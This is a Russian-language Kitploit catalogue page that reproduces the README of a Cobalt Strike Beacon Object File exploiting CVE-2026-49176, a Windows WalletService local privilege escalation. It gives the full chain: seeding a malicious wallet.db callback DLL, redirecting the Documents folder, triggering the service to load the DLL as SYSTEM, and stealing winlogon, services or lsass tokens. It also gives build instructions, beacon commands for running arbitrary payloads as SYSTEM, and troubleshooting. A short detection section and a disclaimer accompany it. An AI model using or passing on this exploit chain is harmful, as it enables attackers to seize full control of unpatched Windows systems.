Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-49176_BOF — CVE-2026-49176 WalletService LPE — автономный PoC + Cobalt Strike BOF (команда SYSTEM в интерактивной сессии) | Kitploit
Инструменты/GitHubGitHub/777erp/cve-2026-49176_bof
Повышение привилегийЭксплуатацияПост-эксплуатацияRed TeamingРазработка Полезной Нагрузки
GitHub777erp/cve-2026-49176_bof

CVE-2026-49176_BOF

CVE-2026-49176 WalletService LPE — автономный PoC + Cobalt Strike BOF (команда SYSTEM в интерактивной сессии)

Репозиторий
4111 месяц назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2026-49176 BOF для Cobalt Strike

Cobalt Strike Beacon Object File (BOF) для локального повышения привилегий через Windows WalletService (CVE-2026-49176, исправлено в июле 2026 года).

Из Beacon со средним уровнем целостности (обычный пользователь) этот инструмент подготавливает вредоносную ESE-базу Wallet, перенаправляет Documents, запускает WalletService и выполняет указанную вызывающим командную строку как NT AUTHORITY\SYSTEM на интерактивном рабочем столе.

Только BOF.
Оригинальный автономный PowerShell PoC: DavidCarliez/CVE-2026-49176_LPE_POC. Тот же корень уязвимости; другой способ доставки и запуска процесса после получения SYSTEM.


Отказ от ответственности

Только для авторизованных исследований в области безопасности, обучения и защитной проверки.


Уязвимость (общая с оригинальным PoC)

WalletService разрешает FOLDERID_Documents, олицетворяя вызывающего, затем возвращается к LocalSystem перед открытием:

root@kitploit:~
<Documents>\Wallet\wallet.db

Обычный пользователь может заполнить эту базу ESE определённым пользователем обратным вызовом по умолчанию (PATH\payload.dll!Export), указать Documents на контролируемый каталог и вызвать WinRT WalletManager.RequestStoreAsync / GetItemsAsync, чтобы служба загрузила DLL как SYSTEM.

Подробный разбор: Разработка эксплойта CVE-2026-49176: WalletService → SYSTEM


BOF против оригинального PoC — путь повышения привилегий

Одинаково: как достигается выполнение кода с правами SYSTEM

root@kitploit:~
Standard user
  → seed Wallet\wallet.db with ESE persisted callback (DLL!WalletCallback)
  → SHSetKnownFolderPath(FOLDERID_Documents) → staging root
  → trigger WalletService (WinRT RequestStore / GetItems)
  → service opens DB as LocalSystem → LoadLibrary(callback DLL)
  → attacker code runs as SYSTEM   ← LPE complete

Отличия: интерактивный процесс SYSTEM после обратного вызова

WalletService часто использует фильтрованный токен SYSTEM (нет доступных SeAssignPrimaryToken / SeImpersonate). Прямой CreateProcess* → 1314.

root@kitploit:~
Original PoC (post-SYSTEM):
  DLL → CreateService(shell_broker.exe) → broker → fixed cmd.exe

This BOF (post-SYSTEM):
  DLL → steal winlogon/services/lsass token → spawn <command>
     → else CreateService(cmd /c broker) → broker → spawn <command>

Возможности

  • Одна команда Beacon для выполнения любой команды/файла с правами SYSTEM на активном рабочем столе
  • Полная цепочка в рамках процесса: подготовка → заполнение → перенаправление → запуск → ожидание → восстановление Documents
  • Упаковывает wallet_callback.dll + shell_broker.exe через bof_pack("bbZ")
  • Многостратегический запуск после получения SYSTEM + диагностика через result.txt
  • Только x64

Требования

КомпонентТребование

Структура

root@kitploit:~
bof/
├── README.md
├── entry.cpp                 # BOF orchestrator (go)
├── bofdefs.h / beacon.h
├── beacon-debug.h
├── cve2026_49176.cna
├── build.bat
├── payload/
│   ├── wallet_callback.c
│   └── shell_broker.c
├── bin/
│   ├── BOF/cve2026_49176.x64.o
│   └── payload/
│       ├── wallet_callback.dll
│       └── shell_broker.exe
└── resources/strip_bof.ps1

Сборка

root@kitploit:~
cd bof
build.bat
КомандаРезультат
build.bat / build.bat bothDLL + broker + x64 BOF
build.bat payloadтолько DLL + broker
build.bat cleanУдалить артефакты
root@kitploit:~
bin\payload\wallet_callback.dll
bin\payload\shell_broker.exe
bin\BOF\cve2026_49176.x64.o

Отредактируйте пути VCVARS64 в build.bat, если VS установлена не по умолчанию.
Критически важные флаги: /DBOF /GS- /GR- /Gs999999 /GF- /Gy- /Gw- /Od (безопасность компоновщика CS BOF).


Использование

Загрузка

Cobalt Strike → Scripts → Load → cve2026_49176.cna
(Перезагружайте после каждой пересборки.)

Команды

root@kitploit:~
beacon> cve2026_49176 C:\Windows\System32\cmd.exe
beacon> cve2026_49176 C:\Windows\Temp\payload.exe
beacon> cve2026_49176 C:\Windows\System32\cmd.exe /c whoami > C:\Users\Public\whoami.txt
  • Не используйте внешние кавычки, если в пути нет пробелов.
  • Дополнительное меню: Beacon → CVE-2026-49176 → Выполнить команду как SYSTEM...

Подготовка на целевой системе

root@kitploit:~
%LOCALAPPDATA%\CVE-2026-49176-BOF\CVE49176_<tick>_<pid>\
├── Wallet\wallet.db
└── payload\
    ├── wallet_callback.dll
    ├── shell_broker.exe
    ├── command.txt          # UTF-16 LE
    └── result.txt

Упаковка

root@kitploit:~
bof_pack(bid, "bbZ", wallet_callback.dll, shell_broker.exe, command)

Ожидаемый вывод

Строка задачи

root@kitploit:~
[*] CVE-2026-49176 SYSTEM exec: C:\Windows\System32\cmd.exe [dll=... broker=... bof=...]

Успех (пример)

root@kitploit:~
[*] CVE-2026-49176 BOF enter (args=...)
[*] parsed dll_len=... broker_len=... cmd_bytes=...
[*] stage payload...
[+] Seeded wallet.db, column=256
[*] Documents redirected to: ...
[+] WalletService triggered
[*] wait payload result (20s)...
[+] event=SYSTEM_PROCESS_STARTED ... user=SYSTEM detail=winlogon
[+] SYSTEM process launched
[*] Documents restored: ...
[+] CVE-2026-49176 BOF complete

detail= может быть winlogon, services, lsass или путём к брокеру.

Частые ошибки

Documents восстанавливается даже при сбое, если перенаправление прошло успешно.


Архитектура

root@kitploit:~
cve2026_49176.cna
  └─ inline-execute(entry.o, go, bbZ)
        entry.cpp
          ├─ stage files under %LOCALAPPDATA%
          ├─ Jet*A seed wallet.db
          ├─ SHSetKnownFolderPath(Documents)
          ├─ WinRT WalletManager trigger
          └─ wait result.txt + restore Documents

wallet_callback.dll (WalletService, SYSTEM)
  ├─ steal winlogon / services / lsass token → spawn command
  └─ fallback: CreateService(cmd /c shell_broker)

shell_broker.exe
  └─ command.txt → CreateProcessAsUser (interactive session)

Поверхность обнаружения

  • Изменение известной папки Documents
  • %LOCALAPPDATA%\CVE-2026-49176-BOF\* + wallet.db + DLL обратного вызова
  • WalletService загружает доступную для записи пользователем DLL
  • OpenProcess / токен-API против winlogon/lsass/services
  • Недолговечные службы CVE49176_*
  • CreateProcessAsUserW / CreateProcessWithTokenW в интерактивные сеансы

Ограничения

  • Только x64; требуется непропатченный WalletService
  • Wallet WinRT API может быть недоступен/устарел в некоторых сборках
  • Каталог подготовки не удаляется автоматически
  • ESE/WinRT выполняются внутри Beacon (риск падения по сравнению с оригинальным PoC, изолированным в отдельном процессе)

Связанные материалы

СсылкаОписание
DavidCarliez/CVE-2026-49176_LPE_POCОригинальный автономный PoC LPE (исходный исследовательский PoC)
Подробный разборОригинальная исследовательская статья
Скачать инструмент
ЭтапОригинальный PoCЭтот BOF
Заполнение ESE БДwallet_ese_seed.exeВ BOF Jet*A
Перенаправление Documentsdocuments_path.exeВ BOF SHGet/SetKnownFolderPath
Запуск WalletPowerShell WinRTВ BOF RoGetActivationFactory
DLL обратного вызоваwallet_callback_shell.dllwallet_callback.dll
Оригинальный PoCЭтот BOF
Целевой процессЖёстко заданный cmd.exeКомандная строка, указанная оператором
Основной методВременная служба → shell_broker.exe → CreateProcessAsUserWКража токена у winlogon / services / lsass → запуск
Запасной вариантНетSCM + cmd.exe /c "shell_broker.exe" "result.txt"
Beaconx64, средний уровень целостности (без повышения прав)
ЦельУязвимый WalletService (до патча июля 2026 года)
CSCobalt Strike 4.x с поддержкой BOF
СборкаVS 2019/2022 C++ + Windows 10 SDK (esent.h, WinRT)
ЛогЗначение
JetAddColumn: -1003Проблема с параметрами ESE
error=1314Фильтрованный SYSTEM; нужна кража токена / брокер
STEAL_FAIL error=5Не удалось открыть целевой процесс/токен
StartService error=32Нарушение совместного доступа (обойдено через cmd-обёртку)
detail=all_methodsВсе стратегии после получения SYSTEM не удались
Linker Unknown symbol '??_C@_...'Неверные флаги сборки BOF; пересоберите с помощью build.bat